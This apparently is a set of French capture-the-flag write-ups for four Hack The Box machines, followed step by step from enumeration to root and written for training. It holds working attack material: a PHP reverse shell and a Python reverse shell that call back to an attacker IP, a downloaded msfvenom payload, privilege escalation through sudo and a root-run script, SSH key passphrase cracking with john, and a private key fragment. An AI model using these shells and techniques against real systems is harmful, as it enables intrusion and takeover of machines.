9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

Don't forget your "ninja" password
Click here to logout Session

On peut modifier le fichier main.php avec jimmy pour ouvrir un reverse shell avec le user joanna :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


## On utilise un script "php-reverse-shell.php pour ouvrir un reverse shell
## on le place dans le dossier internal, puis on l'execute depuis le navigateur:
## http://localhost:52846/php-reverse-shell.php

...
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.2'; // CHANGE THIS
$port = 1338; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//
...

--------------------------------------

┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ nc -lnvp 1338
listening on [any] 1338 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.171] 60408
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 10:51:59 up 6 min, 1 user, load average: 0.00, 0.10, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jimmy pts/0 10.10.16.2 10:48 15.00s 0.08s 0.07s -bash
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
joanna@openadmin:/$ export TERM=xterm
export TERM=xterm
joanna@openadmin:/$ ^Z
zsh: suspended nc -lnvp 1338

┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1338

joanna@openadmin:/$
joanna@openadmin:/$ whoami
joanna
joanna@openadmin:/$ cd /home/joanna/
joanna@openadmin:/home/joanna$ ls
user.txt
joanna@openadmin:/home/joanna$ cat user.txt
11dc.....75aa

SSH : joanna

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ ssh-keygen -t rsa -b 2048 -f joanna_key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in joanna_key
Your public key has been saved in joanna_key.pub
The key fingerprint is:
SHA256:w3+Bf3zBE44h5De2+Y3MmwMIZVTWG2HoIJYslnAWVDU kali@kali
The key's randomart image is:
+---[RSA 2048]----+
| .o==.+Eoooo. |
| o+ = *o..o |
| . o + = = + |
| .. .= X .|
| S....+ = |
| o...=..+|
| . o.*.o|
| . ..+ |
| o. |
+----[SHA256]-----+

┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ cat joanna_key.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS5cj9VZMFNS/Ga0vlT44cnx1HTDMQo3WpDw94nizBdQBMKYk5XmaKFMZdKxeGKNIEERpbKGObTXwbDix9JYY9aA1M4/l/tOSY97w3kMXlRrwJppGIedXyDmAsPjIjQUpFQ00ZPEClME0OQXDzQHxDtkFm6kvefiiI5jLt0+aqvWqkPjbpOlBnm60PuxYsSrPLIUjvw6JUt/ckece553L+BPzwO6HfLuk3wH6i9CGocS90CIu1M00vrkTi3CJVTcCowx8u81bQmM3b/NMksEDC38Xf4gL1ZA4QI5zVqIptxQPuOkBJWFmgkPrzE6Fniod0VGHIn/WMBdJAc/XAhpu/ kali@kali

┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ ssh -i joanna_key joanna@openadmin.htb
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

 System information as of Mon Jan 20 10:59:11 UTC 2025

 System load: 0.0 Processes: 178
 Usage of /: 31.1% of 7.81GB Users logged in: 1
 Memory usage: 9% IP address for ens160: 10.10.10.171
 Swap usage: 0%


 * Canonical Livepatch is available for installation.
 - Reduce system reboots and improve kernel security. Activate at:
 https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$

On place dans authorized_key de joanna, et on peut ssh sans soucis…

joanna -> root

Enumeration

1
2
3
4
5
6
7


joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
 env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
 (ALL) NOPASSWD: /bin/nano /opt/priv

nano as root

https://gtfobins.github.io/gtfobins/nano/

Sur gtfobins, on cherche comment elever ses privilèges à l’aide de nano. On trouve la commande suivante :

1
2
3


nano
^R^X
reset; sh 1>&0 2>&0

On obtient ensuite un shell en tant que root :

1
2
3
4
5


## whoami
root
## cd /root
## cat root.txt
?????????????

BONUS: ssh2john et john pour cracker le mot de passe de joanna

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ ssh2john old_joanna.pem
old_joanna.pem:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d
┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ echo 'old_joanna.pem:$sshng$1$16$2AF2......................1a484d62d602903793d10d' > hash.txt

┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

bloodninjas (old_joanna.pem) <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

1g 0:00:00:04 DONE (2025-01-20 08:36) 0.2212g/s 2118Kp/s 2118Kc/s 2118KC/s bloodninjas..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably

## On trouve le mot de passe bloodninjas de JOANNA

HTB | Bashed

Mon, 13 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Bashed	Linux	10.10.10.68	Easy

Enumeration

nmap

1
2
3
4


┌──(kali㉿kali)-[~]
└─$ nmap -sS -sC -sV -An -p- 10.10.10.68
...
80 -> HTTP : http://bashed.htb

Foothold

gobuster: found dev/ folder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


$ gobuster dir -u http://bashed.htb -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bashed.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 310] [--> http://bashed.htb/uploads/]
/php (Status: 301) [Size: 306] [--> http://bashed.htb/php/]
/css (Status: 301) [Size: 306] [--> http://bashed.htb/css/]
/dev (Status: 301) [Size: 306] [--> http://bashed.htb/dev/]
/js (Status: 301) [Size: 305] [--> http://bashed.htb/js/]
/fonts (Status: 301) [Size: 308] [--> http://bashed.htb/fonts/]
/images (Status: 301) [Size: 309] [--> http://bashed.htb/images/]
/server-status (Status: 403) [Size: 298]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

phpbash.php: www-data and arrexel user

Dans le dossier dev/, on peut executer un script phpbash.php qui donne litteralement une session bash interactive en tant que www-data sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


http://bashed.htb/dev/phpbash.php

www-data@bashed:/# cd home/

www-data@bashed:/home# ls

arrexel
scriptmanager
www-data@bashed:/home# cd arrexel

www-data@bashed:/home/arrexel# ls

user.txt
www-data@bashed:/home/arrexel# cat user.txt

aef2.....8071

Users

1
2
3
4
5


cat /etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

Reverse shell : msfvenom

Avec msfvenom, pour s’entrainer :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.42 LPORT=1337 -f elf -o test.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: test.elf
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.68 - - [11/Jan/2025 19:11:27] "GET /test.elf HTTP/1.1" 200 -

------------------------------------------

$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.68] 54598

python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@bashed:/tmp$ export TERM=xterm
export TERM=xterm
www-data@bashed:/tmp$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~/htb/Bashed]
└─$ stty raw -echo; fg
[3] continued nc -lnvp 1337

www-data@bashed:/tmp$ whoami
www-data

---------------------------------------------

wget 10.10.14.42:8888/test.elf

--2025-01-11 16:18:10-- http://10.10.14.42:8888/test.elf
Connecting to 10.10.14.42:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: 'test.elf'

0K 100% 40.5M=0s

2025-01-11 16:18:10 (40.5 MB/s) - 'test.elf' saved [194/194]

www-data@bashed:/tmp# chmod 777 ./test.elf

www-data@bashed:/tmp# ls -la test.elf

-rwxrwxrwx 1 www-data www-data 194 Jan 11 16:10 test.elf
www-data@bashed:/tmp# ./test.elf &

www-data -> scriptmanager

Enumeration : sudo -l

On découvre qu’on peut executer n’importe quelle commande, en tant que l’utilisateur scriptmanager sans mot de passe !

1
2
3
4
5
6
7


www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
 (scriptmanager : scriptmanager) NOPASSWD: ALL

shell as scriptmanager

On ouvre donc un bash en tant que scriptmanager :

1
2
3


www-data@bashed:/home/arrexel$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/home/arrexel$ whoami
scriptmanager

scriptmanager -> root

LinPEAS : /scripts folder

Avec linpeas, on découvre un dossier suspect “/scripts” à la racine, créer par le user scriptmanager.

On découvre qu’il contient deux fichiers :

1
2
3
4


scriptmanager@bashed:/scripts$ ls -l
total XX
-rw-r--r-- 1 scriptmanager scriptmanager 206 Jan 12 14:37 test.py
-rw-r--r-- 1 root root 12 Jan 12 13:25 test.txt

Dans test.py, on peut voir une commande qui ecrit dans un fichier test.txt une string “hello”. Ce fichier existe deja, donc le script a été executé auparavant. Comme le fichier semble avoir été crée par root, on déduit que root a executé ce script python. On suppose donc que ce fichier est potentiellement un script de test executé régulièrement par root, dans une crontab. On modifie donc le fichier test.py avec un reverse shell trouvé sur le site reverse shell generator : https://www.revshells.com/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

-----------------------------

nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.68] 42276
## whoami
whoami
root
## cat /root/root.txt
cat /root/root.txt
4600.....78e4

HTB | Nibbles

Mon, 13 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Nibbles	Linux	10.10.10.75	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


┌──(kali㉿kali)-[~]
└─$ nmap -sS -sC -sV -An -p- -vvv 10.10.10.75

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
| 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST

Foothold

nibbleblog

Avec gobuster, on trouve aucun dossier interessant sur le serveur web. Par contre, avec burp on trouve une commentaire indiquant l’existante d’un dossier “nibbleblog”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


HTTP/1.1 200 OK
Date: Sun, 12 Jan 2025 23:30:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 93
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->

admin.php

En cherchant un peu, on trouve une page de login “admin.php” avec une page login. Avec les creds trouvés sur internet on a: user: admin password: nibbles

On accède au dashboard de nibbles

Arbitrary File Upload - user flag

Sur internet, on trouve uen vuln sur nibbleblog :

Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


python3 exploit.py --url http://nibbles.htb/nibbleblog/ -u admin -p nibbles -x shell.php
[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.

-----------------------------------------------------------

$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.75] 34102
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 04:01:44 up 9:25, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
nibbler
$ env | grep TERM
$ env
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=nibbler
APACHE_RUN_GROUP=nibbler
APACHE_LOG_DIR=/var/log/apache2
PWD=/
$ cd /home
$ ls
nibbler
$ cd nibbler
$ ls
personal.zip
user.txt
$ cat user.txt
962b.....e815

Privilege Escalation

personal.zip

On trouve dans le /home de nibbler un fichier personal.zip avec un fichier vulnerable monitor.sh qui execute une commande en tant que root

monitor.sh

On peut executer ce fichier en tant que root.

1
2
3
4
5
6
7


$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
 (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Il suffit donc de créer un dossier personal/stuff et d’y mettre un script monitor.sh avec un cat /root/root.txt. On peut ensuite l’executé avec sudo :

1
2
3


nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
4b0a.....a0b8

root shell

Pour plus de défi, j’ouvre un shell en tant que root. En fait, c’était encore plus facile que de faire un cat…

1
2
3
4
5


$ sudo ./monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff# echo "/bin/bash" > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff# sudo ./monitor.sh
root@Nibbles:/home/nibbler/personal/stuff# whoami
root

HTB | Shocker

Mon, 13 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Shocker	Linux	10.10.10.56	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


┌──(kali㉿kali)-[~]
└─$ nmap -sS -sC -sV -An -p- -vvv 10.10.10.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 05:02 EST

PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
| 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Dirsearch & gobuster

Avec dirsearch, on trouve le dossier cgi-bin dont l’accès est “forbidden” mais il existe.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


 dirsearch -u http://shocker.htb


 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/shocker/reports/http_shocker.htb/_25-01-13_07-35-14.txt

Target: http://shocker.htb/

[07:35:14] Starting:
[07:35:18] 403 - 297B - /.ht_wsr.txt
[07:35:18] 403 - 300B - /.htaccess.bak1
[07:35:18] 403 - 300B - /.htaccess.orig
[07:35:18] 403 - 302B - /.htaccess.sample
[07:35:18] 403 - 300B - /.htaccess.save
[07:35:18] 403 - 301B - /.htaccess_extra
[07:35:18] 403 - 298B - /.htaccess_sc
[07:35:18] 403 - 299B - /.htaccessOLD2
[07:35:18] 403 - 298B - /.htaccessBAK
[07:35:18] 403 - 300B - /.htaccess_orig
[07:35:18] 403 - 290B - /.htm
[07:35:18] 403 - 291B - /.html
[07:35:18] 403 - 298B - /.htaccessOLD
[07:35:18] 403 - 296B - /.htpasswds
[07:35:18] 403 - 300B - /.htpasswd_test
[07:35:18] 403 - 297B - /.httr-oauth
[07:35:33] 403 - 294B - /cgi-bin/
[07:35:56] 403 - 299B - /server-status
[07:35:57] 403 - 300B - /server-status/

Task Completed

On peut essayer de trouver des fichiers à l’intérieur avec gobuster et l’extension -x, qui permet de tester toute la liste avec les extensions précisées. Ici, on teste les fichiers dans le dossier cgi-bin avec les extensions “sh”, “bin”, et “cgi”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


$ gobuster dir -u http://shocker.htb/cgi-bin -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x sh,pl,bin,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shocker.htb/cgi-bin
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: sh,bin,cgi
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/user.sh (Status: 200) [Size: 118]
Progress: 10557 / 882244 (1.20%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 11293 / 882244 (1.28%)
===============================================================
Finished
===============================================================

Bingo ! On trouve un script user.sh.

Foothold

Shellshock

Grâce au nom de la machine “shocker” et quelques recherches sur le web, on trouve la vulnérabilité “shellshock” qui permet d’executer du code arbitraire grâce aux fichiers présents dans le dossier cgi-bin. On trouve un github permettant de l’exploiter:

 1
 2
 3
 4
 5
